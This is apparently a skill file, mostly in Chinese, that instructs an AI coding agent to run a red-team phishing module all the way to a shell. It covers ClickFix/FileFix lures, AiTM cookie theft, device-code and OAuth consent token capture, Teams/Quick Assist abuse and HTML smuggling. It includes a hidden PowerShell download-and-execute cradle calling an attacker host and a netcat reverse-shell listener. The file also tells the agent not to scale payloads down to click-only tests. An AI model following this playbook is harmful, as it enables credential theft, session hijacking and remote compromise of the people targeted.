/phishing — Client-side Initial Access
定位： 针对人 + 浏览器 + IdP + 协作客户端的 Attack 模块。和其他 Attack 模块一样，默认把当前链打到 host shell / remote interactive foothold。
不要在“用户点击成功”或“看到 cookie”处结束。身份类路径（AiTM / Device Code / OAuth）先拿到可验证的 token/session，然后在本模块内继续换成执行入口（Intune / RMM / SharePoint / Teams 远程协助 / 再叠 ClickFix），直到 shell。
EDR 边界： 邮件网关、Safe Links、URL 扫描、浏览器下载策略、IdP 限制属于本模块。只有 payload 已进入 endpoint execution 且被 AV/EDR/AMSI/WDAC 拦住时，才临时 /edr-bypass。解决后回到本链拿 shell。
工具安装见 ../shared/tools.md。走到对应投递方式再 Read 一份 reference，不要开局把 ClickFix/AiTM/OAuth 全读。发信前验证只在要发出去时 Read references/campaign-validation.md。
开局与收尾
开局第一件事：Read ./notes.md。没有则 python ~/.claude/skills/bin/notes.py init。只按已拿下/凭据继续。
走到哪条链，才 Read 一份 references/<file>.md。禁止开局全读、禁止凭记忆写 payload。
监听 / sudo / 输密码 / Permission denied：立刻停，说明等操作者做什么，等回报。不要假装已成功。
收尾：
- 追加
./notes.md
python ~/.claude/skills/bin/modules.py tail <本模块名>
Read 备用：~/.claude/skills/shared/modules.yaml
禁止 ./modules.yaml 和 python ../bin/...- 优先
default_next；never_default 不得当作默认（操作者点名除外）
- 名册外的名字不许建议
- 停。等操作者选
/模块 或 /clear
/edr-bypass 半条链未完：打通后回本模块，不要 /clear。
0. 攻击强度
本模块是红队攻击模块。目标是 Shell（或等价的 remote interactive 控制）。高影响 payload、反向 shell、token replay、OAuth 持久授权都保留。标前置和清理，由操作者决定是否发出。不要改成“只验证用户是否会点”。
ClickFix / FileFix / HTA / HTML smuggling
↓
user-assisted execution
↓
callback / reverse shell ← 本链默认终点
AiTM / Device Code / OAuth
↓
verified reusable token/session
↓
用该身份找执行入口（本模块继续）
↓
shell / remote interactive ← 仍要走到这里
0.1 先做攻击面决策
确认目标环境，给出 1–3 条 candidate，由操作者选。不自动切模块。
IdP: Entra / ADFS / Okta / Google
MFA: password-only / TOTP / push / passkey / compliant-device
Client: Windows / macOS / browser / PS 可用性 / EDR
Delivery: email / Teams / QR / web lure / helpdesk / file
P0（2026）：ClickFix、FileFix、macOS ClickFix、Device Code、AiTM、OAuth Consent、Teams/Quick Assist。
Legacy（环境门控）：VBA / HTA / OLE / OneNote / BITB。
1. ClickFix / FileFix — 直接打到 shell
详见 references/clickfix-filefix.md。
最小链：
lure page 复制命令到剪贴板
→ 用户 Win+R 或 Explorer 地址栏粘贴回车
→ 先 DNS/whoami marker
→ 同一路径换成 reverse shell
Windows 反向 shell 模板（替换 KALI/PORT，授权靶场直接用）：
powershell -NoP -W Hidden -C "IEX(New-Object Net.WebClient).DownloadString('http://KALI/s.ps1')"
s.ps1 用 ConPty / 原 shell 模块的稳定 payload。监听：
rlwrap nc -lvnp 443
# 或 msfconsole multi/handler
payload 被 Defender 拦：marker 已证明执行 → 操作者选 /edr-bypass → 回来继续 callback。
2. AiTM / Session phishing
详见 references/aitm-session.md。
Evilginx 只是实现。成功不是“抓到 cookie”，是：
1. cookie/token 能打开真实目标应用
2. 用该 session 继续找执行（Intune 脚本、SharePoint 上传、远程协助、再投 ClickFix）
3. 拿到 shell / remote interactive
Passkey / token protection / compliant-device 会让 replay 失败，先判断再打。
3. Device Code / OAuth Consent
详见 references/device-code-oauth.md。
实时 device code → 用户在真实 Microsoft 登录页输入
→ 攻击者拿到 access + refresh
→ Graph 验证
→ 用 mailbox / Intune / 协作应用 走到执行
TokenTacticsV2 / roadtx 是红队工具，不是犯罪套件。不要用 EvilTokens 这类犯罪 PhaaS。
4. Teams / Helpdesk / Remote Support
详见 references/collaboration-helpdesk.md。
Quick Assist / 合法 RMM 由用户授予后，终点是 remote interactive access，等价 shell。继续本模块，不要因为“没用恶意 payload”就停。
5. Web / File delivery
详见 references/client-delivery.md。
HTML smuggling、QR、容器/压缩包。邮件网关绕过留本模块。落地后执行被 EDR 拦 → /edr-bypass。
6. Legacy
详见 references/legacy-client.md。老环境仍打到 shell（HTA/VBA/OLE）。不是 2026 默认首选。
7. 从客户端执行到 Shell
user/client execution
→ marker
→ payload / reverse shell
→ callback
→ /phishing COMPLETE（host shell 或 remote interactive）
不要因为已经有 command execution 就强制切 /shell。/shell 只在 raw session 需要 PTY/ConPTY 时由操作者另选。
client execution works, payload blocked by EDR
→ /edr-bypass
→ return /phishing
→ shell
8. 输出 / 发信前
要发出邮件或 lure 之前 → 只这时 Read references/campaign-validation.md（SPF/域名/页一致性）。不要一进模块就读。
[PHISHING]
Vector:
Target control:
Prerequisites:
Current result: marker | token | session | remote interactive | shell
Blocked by: mail gateway / IdP / EDR / none
Next in THIS module:
Optional: /edr-bypass only if endpoint blocks execution
完成本链前不要把“用户已点击”写成成功。shell 拿到后写入 ./notes.md。候选只按「开局与收尾」跑 python ~/.claude/skills/bin/modules.py tail。
9. 不属于本模块
AMSI/syscall/call-stack/kernel → /edr-bypass
WAF / HTTP parser → /web-attack
AD coercion / relay → /ad-attack
长期 C2 / 主机持久化 → /post
raw shell 稳定化 → /shell
network pivot → /tunnel